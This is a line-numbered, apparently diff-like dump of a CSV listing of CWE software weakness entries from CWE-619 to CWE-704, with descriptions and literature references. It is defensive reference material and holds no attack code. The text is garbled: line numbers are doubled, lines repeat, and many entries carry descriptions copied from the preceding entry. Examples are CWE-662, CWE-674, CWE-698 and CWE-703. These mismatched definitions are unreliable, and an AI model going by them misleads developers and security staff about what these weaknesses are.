16861686 CWE-619,Dangling Database Cursor (Cursor Injection) (Type: Base),"If a database cursor is not closed properly, then it could become accessible to other users while retaining the same privileges that were originally assigned, leaving the cursor ""dangling.""
16871687 For example, an improper dangling cursor could arise from unhandled exceptions. The impact of the issue depends on the cursor's role, but SQL injection attacks are commonly possible.",,unclassified,"The Oracle Hacker's Handbook
1688 Cursor Injection: http://www.databasesecurity.com/dbsec/cursor-injection.pdf"
1688 Cursor Injection: http://www.databasesecurity.com/dbsec/cursor-injection.pdf"
16891689 CWE-62,UNIX Hard Link (Type: Variant),"The software, when opening a file or directory, does not sufficiently account for when the name is associated with a hard link to a target that is outside of the intended control sphere. This could allow an attacker to cause the software to operate on unauthorized files.
1690 Failure for a system to check for hard links can result in vulnerability to different types of attacks. For example, an attacker can escalate their privileges if a file used by a privileged program is replaced with a hard link to a sensitive file (e.g. /etc/passwd). When the process opens the file, the attacker can assume the privileges of that process.",,unclassified,"The Art of Software Security Assessment: Chapter 9, ""Hard Links"", Page 518."
1690 Failure for a system to check for hard links can result in vulnerability to different types of attacks. For example, an attacker can escalate their privileges if a file used by a privileged program is replaced with a hard link to a sensitive file (e.g. /etc/passwd). When the process opens the file, the attacker can assume the privileges of that process.",,unclassified,"The Art of Software Security Assessment: Chapter 9, ""Hard Links"", Page 518."
16911691 CWE-620,Unverified Password Change (Type: Variant),"When setting a new password for a user, the product does not require knowledge of the original password, or using another form of authentication.
1692 This could be used by an attacker to change passwords for another user, thus gaining the privileges associated with that user.",,unclassified,"24 Deadly Sins of Software Security: ""Sin 19: Use of Weak Password-Based Systems."" Page 279"
1692 This could be used by an attacker to change passwords for another user, thus gaining the privileges associated with that user.",,unclassified,"24 Deadly Sins of Software Security: ""Sin 19: Use of Weak Password-Based Systems."" Page 279"
16931693 CWE-621,Variable Extraction Error (Type: Base),"The product uses external input to determine the names of variables into which information is extracted, without verifying that the names of the specified variables are valid. This could cause the program to overwrite unintended variables.
1694 For example, in PHP, calling extract() or import_request_variables() without the proper arguments could allow arbitrary global variables to be overwritten, including superglobals. Similar functionality might be possible in other interpreted languages, including custom languages.",,unclassified,
1694 For example, in PHP, calling extract() or import_request_variables() without the proper arguments could allow arbitrary global variables to be overwritten, including superglobals. Similar functionality might be possible in other interpreted languages, including custom languages.",,unclassified,
16951695 CWE-622,Improper Validation of Function Hook Arguments (Type: Variant),"A product adds hooks to user-accessible API functions, but does not properly validate the arguments. This could lead to resultant vulnerabilities.
1696 Such hooks can be used in defensive software that runs with privileges, such as anti-virus or firewall, which hooks kernel calls. When the arguments are not validated, they could be used to bypass the protection scheme or attack the product itself.",,unclassified,
1696 Such hooks can be used in defensive software that runs with privileges, such as anti-virus or firewall, which hooks kernel calls. When the arguments are not validated, they could be used to bypass the protection scheme or attack the product itself.",,unclassified,
16971697 CWE-623,Unsafe ActiveX Control Marked Safe For Scripting (Type: Variant),"An ActiveX control is intended for restricted use, but it has been marked as safe-for-scripting.
16981698 This might allow attackers to use dangerous functionality via a web page that accesses the control, which can lead to different resultant vulnerabilities, depending on the control's behavior.",,unclassified,"No description: http://msdn.microsoft.com/workshop/components/activex/safety.asp
16991699 No description: http://msdn.microsoft.com/workshop/components/activex/security.asp
17001700 No description: http://support.microsoft.com/kb/240797
17011701 Writing Secure Code: Chapter 16, ""What ActiveX Components Are Safe for Initialization and Safe for Scripting?"" Page 510
1702 The Art of Software Security Assessment: Chapter 12, ""ActiveX Security"", Page 749."
1702 The Art of Software Security Assessment: Chapter 12, ""ActiveX Security"", Page 749."
17031703 CWE-624,Executable Regular Expression Error (Type: Base),"The product uses a regular expression that either (1) contains an executable component with user-controlled inputs, or (2) allows a user to enable execution by inserting pattern modifiers.
1704 Case (2) is possible in the PHP preg_replace() function, and possibly in other languages when a user-controlled input is inserted into a string that is later parsed as a regular expression.",,unclassified,
1704 Case (2) is possible in the PHP preg_replace() function, and possibly in other languages when a user-controlled input is inserted into a string that is later parsed as a regular expression.",,unclassified,
17051705 CWE-625,Permissive Regular Expression (Type: Base),"The product uses a regular expression that does not sufficiently restrict the set of allowed values.
17061706 This effectively causes the regexp to accept substrings that match the pattern, which produces a partial comparison to the target. In some cases, this can lead to other weaknesses. Common errors include:
17071707 not identifying the beginning and end of the target string
17081708 using wildcards instead of acceptable character ranges
1709 others",,unclassified,"The Art of Software Security Assessment: Chapter 8, ""Character Stripping Vulnerabilities"", Page 437."
1709 others",,unclassified,"The Art of Software Security Assessment: Chapter 8, ""Character Stripping Vulnerabilities"", Page 437."
17101710 CWE-626,Null Byte Interaction Error (Poison Null Byte) (Type: Variant),"The product does not properly handle null bytes or NUL characters when passing data between different representations or components.
17111711 A null byte (NUL character) can have different meanings across representations or languages. For example, it is a string terminator in standard C libraries, but Perl and PHP strings do not treat it as a terminator. When two representations are crossed - such as when Perl or PHP invokes underlying C functionality - this can produce an interaction error with unexpected results. Similar issues have been reported for ASP. Other interpreters written in C might also be affected.",,unclassified,"Poison NULL byte: http://insecure.org/news/P55-07.txt
17121712 0x00 vs ASP file upload scripts: http://www.security-assessment.com/Whitepapers/0x00_vs_ASP_File_Uploads.pdf
1713 ShAnKaR: multiple PHP application poison NULL byte vulnerability: http://seclists.org/fulldisclosure/2006/Sep/0185.html"
1713 ShAnKaR: multiple PHP application poison NULL byte vulnerability: http://seclists.org/fulldisclosure/2006/Sep/0185.html"
17141714 CWE-627,Dynamic Variable Evaluation (Type: Base),"In a language where the user can influence the name of a variable at runtime, if the variable names are not controlled, an attacker can read or write to arbitrary variables, or access arbitrary functions.
17151715 The resultant vulnerabilities depend on the behavior of the application, both at the crossover point and in any control/data flow that is reachable by the related variables or functions.",,unclassified,"Dynamic Evaluation Vulnerabilities in PHP applications: http://seclists.org/fulldisclosure/2006/May/0035.html
1716 A Study In Scarlet: Exploiting Common Vulnerabilities in PHP Applications: http://www.securereality.com.au/studyinscarlet.txt"
1716 A Study In Scarlet: Exploiting Common Vulnerabilities in PHP Applications: http://www.securereality.com.au/studyinscarlet.txt"
17171717 CWE-628,Function Call with Incorrectly Specified Arguments (Type: Base),"The product calls a function, procedure, or routine with arguments that are not correctly specified, leading to always-incorrect behavior and resultant weaknesses.
17181718 There are multiple ways in which this weakness can be introduced, including:
17191719 the wrong variable or reference;
17201720 an incorrect number of arguments;
17211721 incorrect order of arguments;
17221722 wrong type of arguments; or
1723 wrong value.",,unclassified,
1723 wrong value.",,unclassified,
17241724 CWE-636,Not Failing Securely (Failing Open) (Type: Class),"When the product encounters an error condition or failure, its design requires it to fall back to a state that is less secure than other options that are available, such as selecting the weakest encryption algorithm or using the most permissive access control restrictions.
17251725 By entering a less secure state, the product inherits the weaknesses associated with that state, making it easier to compromise. At the least, it causes administrators to have a false sense of security. This weakness typically occurs as a result of wanting to ""fail functional"" to minimize administration and support costs, instead of ""failing safe.""",,unclassified,"The Protection of Information in Computer Systems: http://web.mit.edu/Saltzer/www/publications/protection/
1726 Failing Securely: https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/349.html"
1726 Failing Securely: https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/349.html"
17271727 CWE-637,Unnecessary Complexity in Protection Mechanism (Not Using Economy of Mechanism) (Type: Class),"The software uses a more complex mechanism than necessary, which could lead to resultant weaknesses when the mechanism is not correctly understood, modeled, configured, implemented, or used.
17281728 Security mechanisms should be as simple as possible. Complex security mechanisms may engender partial implementations and compatibility problems, with resulting mismatches in assumptions and implemented security. A corollary of this principle is that data specifications should be as simple as possible, because complex data specifications result in complex validation code. Complex tasks and systems may also need to be guarded by complex security checks, so simple systems should be preferred.",,unclassified,"The Protection of Information in Computer Systems: http://web.mit.edu/Saltzer/www/publications/protection/
1729 Economy of Mechanism: https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/348.html"
1729 Economy of Mechanism: https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/348.html"
17301730 CWE-638,Not Using Complete Mediation (Type: Class),"The software does not perform access checks on a resource every time the resource is accessed by an entity, which can create resultant weaknesses if that entity's rights or privileges change over time.
17311731 ",,unclassified,"The Protection of Information in Computer Systems: http://web.mit.edu/Saltzer/www/publications/protection/
1732 Complete Mediation: https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/346.html"
1732 Complete Mediation: https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/346.html"
17331733 CWE-65,Windows Hard Link (Type: Variant),"The software, when opening a file or directory, does not sufficiently handle when the name is associated with a hard link to a target that is outside of the intended control sphere. This could allow an attacker to cause the software to operate on unauthorized files.
1734 Failure for a system to check for hard links can result in vulnerability to different types of attacks. For example, an attacker can escalate their privileges if a file used by a privileged program is replaced with a hard link to a sensitive file (e.g. AUTOEXEC.BAT). When the process opens the file, the attacker can assume the privileges of that process, or prevent the program from accurately processing data.",,unclassified,"The Art of Software Security Assessment: Chapter 11, ""Links"", Page 676."
1734 Failure for a system to check for hard links can result in vulnerability to different types of attacks. For example, an attacker can escalate their privileges if a file used by a privileged program is replaced with a hard link to a sensitive file (e.g. AUTOEXEC.BAT). When the process opens the file, the attacker can assume the privileges of that process, or prevent the program from accurately processing data.",,unclassified,"The Art of Software Security Assessment: Chapter 11, ""Links"", Page 676."
17351735 CWE-651,Information Exposure Through WSDL File (Type: Variant),"The Web services architecture may require exposing a WSDL file that contains information on the publicly accessible services and how callers of these services should interact with them (e.g. what parameters they expect and what types they return).
17361736 An information exposure may occur if any of the following apply:
17371737 The WSDL file is accessible to a wider audience than intended.
17381738 The WSDL file contains information on the methods/services that should not be publicly accessible or information about deprecated methods. This problem is made more likely due to the WSDL often being automatically generated from the code.
1739 Information in the WSDL file helps guess names/locations of methods/resources that should not be publicly accessible.",,unclassified,
1739 Information in the WSDL file helps guess names/locations of methods/resources that should not be publicly accessible.",,unclassified,
17401740 CWE-653,Insufficient Compartmentalization (Type: Base),"The product does not sufficiently compartmentalize functionality or processes that require different privilege levels, rights, or permissions.
17411741 When a weakness occurs in functionality that is accessible by lower-privileged users, then without strong boundaries, an attack might extend the scope of the damage to higher-privileged users.",,unclassified,"The Protection of Information in Computer Systems: http://web.mit.edu/Saltzer/www/publications/protection/
1742 Separation of Privilege: https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/357.html"
1742 Separation of Privilege: https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/357.html"
17431743 CWE-654,Reliance on a Single Factor in a Security Decision (Type: Base),"A protection mechanism relies exclusively, or to a large extent, on the evaluation of a single condition or the integrity of a single object or entity in order to make a decision about granting access to restricted resources or functionality.
17441744 When a weakness occurs in functionality that is accessible by lower-privileged users, then without strong boundaries, an attack might extend the scope of the damage to higher-privileged users.",,unclassified,"The Protection of Information in Computer Systems: http://web.mit.edu/Saltzer/www/publications/protection/
1745 Separation of Privilege: https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/357.html"
1745 Separation of Privilege: https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/357.html"
17461746 CWE-655,Insufficient Psychological Acceptability (Type: Base),"The software has a protection mechanism that is too difficult or inconvenient to use, encouraging non-malicious users to disable or bypass the mechanism, whether by accident or on purpose.
17471747 When a weakness occurs in functionality that is accessible by lower-privileged users, then without strong boundaries, an attack might extend the scope of the damage to higher-privileged users.",,unclassified,"The Protection of Information in Computer Systems: http://web.mit.edu/Saltzer/www/publications/protection/
17481748 Psychological Acceptability: https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/354.html
17491749 Usability of Security: A Case Study: http://reports-archive.adm.cs.cmu.edu/anon/1998/CMU-CS-98-155.pdf
1750 24 Deadly Sins of Software Security: ""Sin 14: Poor Usability."" Page 217"
1750 24 Deadly Sins of Software Security: ""Sin 14: Poor Usability."" Page 217"
17511751 CWE-656,Reliance on Security Through Obscurity (Type: Base),"The software uses a protection mechanism whose strength depends heavily on its obscurity, such that knowledge of its algorithms or key data is sufficient to defeat the mechanism.
17521752 This reliance on ""security through obscurity"" can produce resultant weaknesses if an attacker is able to reverse engineer the inner workings of the mechanism. Note that obscurity can be one small part of defense in depth, since it can create more work for an attacker; however, it is a significant risk if used as the primary means of protection.",,unclassified,"RFC: 793, TRANSMISSION CONTROL PROTOCOL: http://www.ietf.org/rfc/rfc0793.txt
17531753 The Protection of Information in Computer Systems: http://web.mit.edu/Saltzer/www/publications/protection/
1754 Never Assuming that Your Secrets Are Safe: https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/352.html"
1754 Never Assuming that Your Secrets Are Safe: https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/352.html"
17551755 CWE-657,Violation of Secure Design Principles (Type: Class),"The product violates well-established principles for secure design.
17561756 This can introduce resultant weaknesses or make it easier for developers to introduce related weaknesses during implementation. Because code is centered around design, it can be resource-intensive to fix design problems.",,unclassified,"The Protection of Information in Computer Systems: http://web.mit.edu/Saltzer/www/publications/protection/
1757 Design Principles: https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/358.html"
1757 Design Principles: https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/358.html"
17581758 CWE-66,Improper Handling of File Names that Identify Virtual Resources (Type: Base),"The product does not handle or incorrectly handles a file name that identifies a ""virtual"" resource that is not directly specified within the directory that is associated with the file name, causing the product to perform file-based operations on a resource that is not a file.
1759 Virtual file names are represented like normal file names, but they are effectively aliases for other resources that do not behave like normal files. Depending on their functionality, they could be alternate entities. They are not necessarily listed in directories.",,unclassified,
1759 Virtual file names are represented like normal file names, but they are effectively aliases for other resources that do not behave like normal files. Depending on their functionality, they could be alternate entities. They are not necessarily listed in directories.",,unclassified,
17601760 CWE-662,Improper Synchronization (Type: Base),"The software attempts to use a shared resource in an exclusive manner, but does not prevent or incorrectly prevents use of the resource by another thread or process.
1761 Virtual file names are represented like normal file names, but they are effectively aliases for other resources that do not behave like normal files. Depending on their functionality, they could be alternate entities. They are not necessarily listed in directories.",,unclassified,
1761 Virtual file names are represented like normal file names, but they are effectively aliases for other resources that do not behave like normal files. Depending on their functionality, they could be alternate entities. They are not necessarily listed in directories.",,unclassified,
17621762 CWE-663,Use of a Non-reentrant Function in a Concurrent Context (Type: Base),"The software calls a non-reentrant function in a concurrent context in which a competing code sequence (e.g. thread or signal handler) may have an opportunity to call the same function or otherwise influence its state.
17631763 Virtual file names are represented like normal file names, but they are effectively aliases for other resources that do not behave like normal files. Depending on their functionality, they could be alternate entities. They are not necessarily listed in directories.",,unclassified,"Java Concurrency API: http://java.sun.com/j2se/1.5.0/docs/api/java/util/concurrent/locks/ReentrantLock.html
1764 Use reentrant functions for safer signal handling: http://www.ibm.com/developerworks/linux/library/l-reent.html"
1764 Use reentrant functions for safer signal handling: http://www.ibm.com/developerworks/linux/library/l-reent.html"
17651765 CWE-664,Improper Control of a Resource Through its Lifetime (Type: Class),"The software does not maintain or incorrectly maintains control over a resource throughout its lifetime of creation, use, and release.
17661766 Resources often have explicit instructions on how to be created, used and destroyed. When software does not follow these instructions, it can lead to unexpected behaviors and potentially exploitable states.
1767 Even without explicit instructions, various principles are expected to be adhered to, such as ""Do not use an object until after its creation is complete,"" or ""do not use an object after it has been slated for destruction.""",,unclassified,
1767 Even without explicit instructions, various principles are expected to be adhered to, such as ""Do not use an object until after its creation is complete,"" or ""do not use an object after it has been slated for destruction.""",,unclassified,
17681768 CWE-666,Operation on Resource in Wrong Phase of Lifetime (Type: Base),"The software performs an operation on a resource at the wrong phase of the resource's lifecycle, which can lead to unexpected behaviors.
1769 When a developer wants to initialize, use or release a resource, it is important to follow the specifications outlined for how to operate on that resource and to ensure that the resource is in the expected state. In this case, the software wants to perform a normally valid operation, initialization, use or release, on a resource when it is in the incorrect phase of its lifetime.",,unclassified,
1769 When a developer wants to initialize, use or release a resource, it is important to follow the specifications outlined for how to operate on that resource and to ensure that the resource is in the expected state. In this case, the software wants to perform a normally valid operation, initialization, use or release, on a resource when it is in the incorrect phase of its lifetime.",,unclassified,
17701770 CWE-667,Improper Locking (Type: Base),"The software does not properly acquire a lock on a resource, or it does not properly release a lock on a resource, leading to unexpected resource state changes and behaviors.
1771 When a developer wants to initialize, use or release a resource, it is important to follow the specifications outlined for how to operate on that resource and to ensure that the resource is in the expected state. In this case, the software wants to perform a normally valid operation, initialization, use or release, on a resource when it is in the incorrect phase of its lifetime.",,unclassified,
1771 When a developer wants to initialize, use or release a resource, it is important to follow the specifications outlined for how to operate on that resource and to ensure that the resource is in the expected state. In this case, the software wants to perform a normally valid operation, initialization, use or release, on a resource when it is in the incorrect phase of its lifetime.",,unclassified,
17721772 CWE-668,Exposure of Resource to Wrong Sphere (Type: Class),"The product exposes a resource to the wrong control sphere, providing unintended actors with inappropriate access to the resource.
17731773 Resources such as files and directories may be inadvertently exposed through mechanisms such as insecure permissions, or when a program accidentally operates on the wrong object. For example, a program may intend that private files can only be provided to a specific user. This effectively defines a control sphere that is intended to prevent attackers from accessing these private files. If the file permissions are insecure, then parties other than the user will be able to access those files.
17741774 A separate control sphere might effectively require that the user can only access the private files, but not any other files on the system. If the program does not ensure that the user is only requesting private files, then the user might be able to access other files on the system.
1775 In either case, the end result is that a resource has been exposed to the wrong party.",,unclassified,
1775 In either case, the end result is that a resource has been exposed to the wrong party.",,unclassified,
17761776 CWE-669,Incorrect Resource Transfer Between Spheres (Type: Class),"The product does not properly transfer a resource/behavior to another sphere, or improperly imports a resource/behavior from another sphere, in a manner that provides unintended control over that resource.
17771777 Resources such as files and directories may be inadvertently exposed through mechanisms such as insecure permissions, or when a program accidentally operates on the wrong object. For example, a program may intend that private files can only be provided to a specific user. This effectively defines a control sphere that is intended to prevent attackers from accessing these private files. If the file permissions are insecure, then parties other than the user will be able to access those files.
17781778 A separate control sphere might effectively require that the user can only access the private files, but not any other files on the system. If the program does not ensure that the user is only requesting private files, then the user might be able to access other files on the system.
1779 In either case, the end result is that a resource has been exposed to the wrong party.",,unclassified,
1779 In either case, the end result is that a resource has been exposed to the wrong party.",,unclassified,
17801780 CWE-670,Always-Incorrect Control Flow Implementation (Type: Class),"The code contains a control flow path that does not reflect the algorithm that the path is intended to implement, leading to incorrect behavior any time this path is navigated.
1781 This weakness captures cases in which a particular code segment is always incorrect with respect to the algorithm that it is implementing. For example, if a C programmer intends to include multiple statements in a single block but does not include the enclosing braces (CWE-483), then the logic is always incorrect. This issue is in contrast to most weaknesses in which the code usually behaves correctly, except when it is externally manipulated in malicious ways.",,unclassified,
1781 This weakness captures cases in which a particular code segment is always incorrect with respect to the algorithm that it is implementing. For example, if a C programmer intends to include multiple statements in a single block but does not include the enclosing braces (CWE-483), then the logic is always incorrect. This issue is in contrast to most weaknesses in which the code usually behaves correctly, except when it is externally manipulated in malicious ways.",,unclassified,
17821782 CWE-671,Lack of Administrator Control over Security (Type: Class),"The product uses security features in a way that prevents the product's administrator from tailoring security settings to reflect the environment in which the product is being used. This introduces resultant weaknesses or prevents it from operating at a level of security that is desired by the administrator.
1783 If the product's administrator does not have the ability to manage security-related decisions at all times, then protecting the product from outside threats - including the product's developer - can become impossible. For example, a hard-coded account name and password cannot be changed by the administrator, thus exposing that product to attacks that the administrator can not prevent.",,unclassified,
1783 If the product's administrator does not have the ability to manage security-related decisions at all times, then protecting the product from outside threats - including the product's developer - can become impossible. For example, a hard-coded account name and password cannot be changed by the administrator, thus exposing that product to attacks that the administrator can not prevent.",,unclassified,
17841784 CWE-672,Operation on a Resource after Expiration or Release (Type: Base),"The software uses, accesses, or otherwise operates on a resource after that resource has been expired, released, or revoked.
1785 If the product's administrator does not have the ability to manage security-related decisions at all times, then protecting the product from outside threats - including the product's developer - can become impossible. For example, a hard-coded account name and password cannot be changed by the administrator, thus exposing that product to attacks that the administrator can not prevent.",,unclassified,
1785 If the product's administrator does not have the ability to manage security-related decisions at all times, then protecting the product from outside threats - including the product's developer - can become impossible. For example, a hard-coded account name and password cannot be changed by the administrator, thus exposing that product to attacks that the administrator can not prevent.",,unclassified,
17861786 CWE-673,External Influence of Sphere Definition (Type: Class),"The product does not prevent the definition of control spheres from external actors.
1787 Typically, a product defines its control sphere within the code itself, or through configuration by the product's administrator. In some cases, an external party can change the definition of the control sphere. This is typically a resultant weakness.",,unclassified,
1787 Typically, a product defines its control sphere within the code itself, or through configuration by the product's administrator. In some cases, an external party can change the definition of the control sphere. This is typically a resultant weakness.",,unclassified,
17881788 CWE-674,Uncontrolled Recursion (Type: Base),"The product does not properly control the amount of recursion that takes place, which consumes excessive resources, such as allocated memory or the program stack.
1789 Typically, a product defines its control sphere within the code itself, or through configuration by the product's administrator. In some cases, an external party can change the definition of the control sphere. This is typically a resultant weakness.",,unclassified,
1789 Typically, a product defines its control sphere within the code itself, or through configuration by the product's administrator. In some cases, an external party can change the definition of the control sphere. This is typically a resultant weakness.",,unclassified,
17901790 CWE-675,Duplicate Operations on Resource (Type: Class),"The product performs the same operation on a resource two or more times, when the operation should only be applied once.
1791 Typically, a product defines its control sphere within the code itself, or through configuration by the product's administrator. In some cases, an external party can change the definition of the control sphere. This is typically a resultant weakness.",,unclassified,
1791 Typically, a product defines its control sphere within the code itself, or through configuration by the product's administrator. In some cases, an external party can change the definition of the control sphere. This is typically a resultant weakness.",,unclassified,
17921792 CWE-683,Function Call With Incorrect Order of Arguments (Type: Variant),"The software calls a function, procedure, or routine, but the caller specifies the arguments in an incorrect order, leading to resultant weaknesses.
1793 While this weakness might be caught by the compiler in some languages, it can occur more frequently in cases in which the called function accepts variable numbers or types of arguments, such as format strings in C. It also can occur in languages or environments that do not enforce strong typing.",,unclassified,
1793 While this weakness might be caught by the compiler in some languages, it can occur more frequently in cases in which the called function accepts variable numbers or types of arguments, such as format strings in C. It also can occur in languages or environments that do not enforce strong typing.",,unclassified,
17941794 CWE-684,Incorrect Provision of Specified Functionality (Type: Base),"The code does not function according to its published specifications, potentially leading to incorrect usage.
1795 When providing functionality to an external party, it is important that the software behaves in accordance with the details specified. When requirements of nuances are not documented, the functionality may produce unintended behaviors for the caller, possibly leading to an exploitable state.",,unclassified,
1795 When providing functionality to an external party, it is important that the software behaves in accordance with the details specified. When requirements of nuances are not documented, the functionality may produce unintended behaviors for the caller, possibly leading to an exploitable state.",,unclassified,
17961796 CWE-685,Function Call With Incorrect Number of Arguments (Type: Variant),"The software calls a function, procedure, or routine, but the caller specifies too many arguments, or too few arguments, which may lead to undefined behavior and resultant weaknesses.
1797 When providing functionality to an external party, it is important that the software behaves in accordance with the details specified. When requirements of nuances are not documented, the functionality may produce unintended behaviors for the caller, possibly leading to an exploitable state.",,unclassified,
1797 When providing functionality to an external party, it is important that the software behaves in accordance with the details specified. When requirements of nuances are not documented, the functionality may produce unintended behaviors for the caller, possibly leading to an exploitable state.",,unclassified,
17981798 CWE-686,Function Call With Incorrect Argument Type (Type: Variant),"The software calls a function, procedure, or routine, but the caller specifies an argument that is the wrong data type, which may lead to resultant weaknesses.
1799 This weakness is most likely to occur in loosely typed languages, or in strongly typed languages in which the types of variable arguments cannot be enforced at compilation time, or where there is implicit casting.",,unclassified,
1799 This weakness is most likely to occur in loosely typed languages, or in strongly typed languages in which the types of variable arguments cannot be enforced at compilation time, or where there is implicit casting.",,unclassified,
18001800 CWE-687,Function Call With Incorrectly Specified Argument Value (Type: Variant),"The software calls a function, procedure, or routine, but the caller specifies an argument that contains the wrong value, which may lead to resultant weaknesses.
1801 This weakness is most likely to occur in loosely typed languages, or in strongly typed languages in which the types of variable arguments cannot be enforced at compilation time, or where there is implicit casting.",,unclassified,
1801 This weakness is most likely to occur in loosely typed languages, or in strongly typed languages in which the types of variable arguments cannot be enforced at compilation time, or where there is implicit casting.",,unclassified,
18021802 CWE-688,Function Call With Incorrect Variable or Reference as Argument (Type: Variant),"The software calls a function, procedure, or routine, but the caller specifies the wrong variable or reference as one of the arguments, which may lead to undefined behavior and resultant weaknesses.
1803 This weakness is most likely to occur in loosely typed languages, or in strongly typed languages in which the types of variable arguments cannot be enforced at compilation time, or where there is implicit casting.",,unclassified,
1803 This weakness is most likely to occur in loosely typed languages, or in strongly typed languages in which the types of variable arguments cannot be enforced at compilation time, or where there is implicit casting.",,unclassified,
18041804 CWE-69,Improper Handling of Windows ::DATA Alternate Data Stream (Type: Variant),"The software does not properly prevent access to, or detect usage of, alternate data streams (ADS).
18051805 An attacker can use an ADS to hide information about a file (e.g. size, the name of the process) from a system or file browser tools such as Windows Explorer and 'dir' at the command line utility. Alternately, the attacker might be able to bypass intended access restrictions for the associated data fork.",,unclassified,"Windows NTFS Alternate Data Streams: http://www.securityfocus.com/infocus/1822
1806 Writing Secure Code"
1806 Writing Secure Code"
18071807 CWE-691,Insufficient Control Flow Management (Type: Class),"The code does not sufficiently manage its control flow during execution, creating conditions in which the control flow can be modified in unexpected ways.
1808 An attacker can use an ADS to hide information about a file (e.g. size, the name of the process) from a system or file browser tools such as Windows Explorer and 'dir' at the command line utility. Alternately, the attacker might be able to bypass intended access restrictions for the associated data fork.",,unclassified,
1808 An attacker can use an ADS to hide information about a file (e.g. size, the name of the process) from a system or file browser tools such as Windows Explorer and 'dir' at the command line utility. Alternately, the attacker might be able to bypass intended access restrictions for the associated data fork.",,unclassified,
18091809 CWE-693,Protection Mechanism Failure (Type: Class),"The product does not use or incorrectly uses a protection mechanism that provides sufficient defense against directed attacks against the product.
1810 This weakness covers three distinct situations. A ""missing"" protection mechanism occurs when the application does not define any mechanism against a certain class of attack. An ""insufficient"" protection mechanism might provide some defenses - for example, against the most common attacks - but it does not protect against everything that is intended. Finally, an ""ignored"" mechanism occurs when a mechanism is available and in active use within the product, but the developer has not applied it in some code path.",,unclassified,
1810 This weakness covers three distinct situations. A ""missing"" protection mechanism occurs when the application does not define any mechanism against a certain class of attack. An ""insufficient"" protection mechanism might provide some defenses - for example, against the most common attacks - but it does not protect against everything that is intended. Finally, an ""ignored"" mechanism occurs when a mechanism is available and in active use within the product, but the developer has not applied it in some code path.",,unclassified,
18111811 CWE-694,Use of Multiple Resources with Duplicate Identifier (Type: Base),"The software uses multiple resources that can have the same identifier, in a context in which unique identifiers are required.
1812 If the software assumes that each resource has a unique identifier, the software could operate on the wrong resource if attackers can cause multiple resources to be associated with the same identifier.",,unclassified,
1812 If the software assumes that each resource has a unique identifier, the software could operate on the wrong resource if attackers can cause multiple resources to be associated with the same identifier.",,unclassified,
18131813 CWE-695,Use of Low-Level Functionality (Type: Base),"The software uses low-level functionality that is explicitly prohibited by the framework or specification under which the software is supposed to operate.
1814 The use of low-level functionality can violate the specification in unexpected ways that effectively disable built-in protection mechanisms, introduce exploitable inconsistencies, or otherwise expose the functionality to attack.",,unclassified,
1814 The use of low-level functionality can violate the specification in unexpected ways that effectively disable built-in protection mechanisms, introduce exploitable inconsistencies, or otherwise expose the functionality to attack.",,unclassified,
18151815 CWE-696,Incorrect Behavior Order (Type: Class),"The software performs multiple related behaviors, but the behaviors are performed in the wrong order in ways which may produce resultant weaknesses.
1816 The use of low-level functionality can violate the specification in unexpected ways that effectively disable built-in protection mechanisms, introduce exploitable inconsistencies, or otherwise expose the functionality to attack.",,unclassified,
1816 The use of low-level functionality can violate the specification in unexpected ways that effectively disable built-in protection mechanisms, introduce exploitable inconsistencies, or otherwise expose the functionality to attack.",,unclassified,
18171817 CWE-697,Insufficient Comparison (Type: Class),"The software compares two entities in a security-relevant context, but the comparison is insufficient, which may lead to resultant weaknesses.
18181818 This weakness class covers several possibilities:
18191819 the comparison checks one factor incorrectly;
1820 the comparison should consider multiple factors, but it does not check some of those factors at all.",,unclassified,
1820 the comparison should consider multiple factors, but it does not check some of those factors at all.",,unclassified,
18211821 CWE-698,Execution After Redirect (EAR) (Type: Base),"The web application sends a redirect to another location, but instead of exiting, it executes additional code.
18221822 This weakness class covers several possibilities:
18231823 the comparison checks one factor incorrectly;
1824 the comparison should consider multiple factors, but it does not check some of those factors at all.",,unclassified,Fear the EAR: Discovering and Mitigating Execution After Redirect Vulnerabilities: http://cs.ucsb.edu/~bboe/public/pubs/fear-the-ear-ccs2011.pdf
1824 the comparison should consider multiple factors, but it does not check some of those factors at all.",,unclassified,Fear the EAR: Discovering and Mitigating Execution After Redirect Vulnerabilities: http://cs.ucsb.edu/~bboe/public/pubs/fear-the-ear-ccs2011.pdf
18251825 CWE-7,J2EE Misconfiguration: Missing Custom Error Page (Type: Variant),"The default error page of a web application should not display sensitive information about the software system.
1826 A Web application must define a default error page for 4xx errors (e.g. 404), 5xx (e.g. 500) errors and catch java.lang.Throwable exceptions to prevent attackers from mining information from the application container's built-in error response.",,unclassified,19 Deadly Sins of Software Security
1826 A Web application must define a default error page for 4xx errors (e.g. 404), 5xx (e.g. 500) errors and catch java.lang.Throwable exceptions to prevent attackers from mining information from the application container's built-in error response.",,unclassified,19 Deadly Sins of Software Security
18271827 CWE-703,Improper Check or Handling of Exceptional Conditions (Type: Class),"The software does not properly anticipate or handle exceptional conditions that rarely occur during normal operation of the software.
18281828 A Web application must define a default error page for 4xx errors (e.g. 404), 5xx (e.g. 500) errors and catch java.lang.Throwable exceptions to prevent attackers from mining information from the application container's built-in error response.",,unclassified,"A Taxonomy of Security Faults in the UNIX Operating System: http://ftp.cerias.purdue.edu/pub/papers/taimur-aslam/aslam-taxonomy-msthesis.pdf
18291829 Use of A Taxonomy of Security Faults: http://csrc.nist.gov/nissc/1996/papers/NISSC96/paper057/PAPER.PDF
1830 24 Deadly Sins of Software Security: ""Sin 8: C++ Catastrophes."" Page 143"
1830 24 Deadly Sins of Software Security: ""Sin 8: C++ Catastrophes."" Page 143"
18311831 CWE-704,Incorrect Type Conversion or Cast (Type: Class),"The software does not correctly convert an object, resource or structure from one type to a different type.
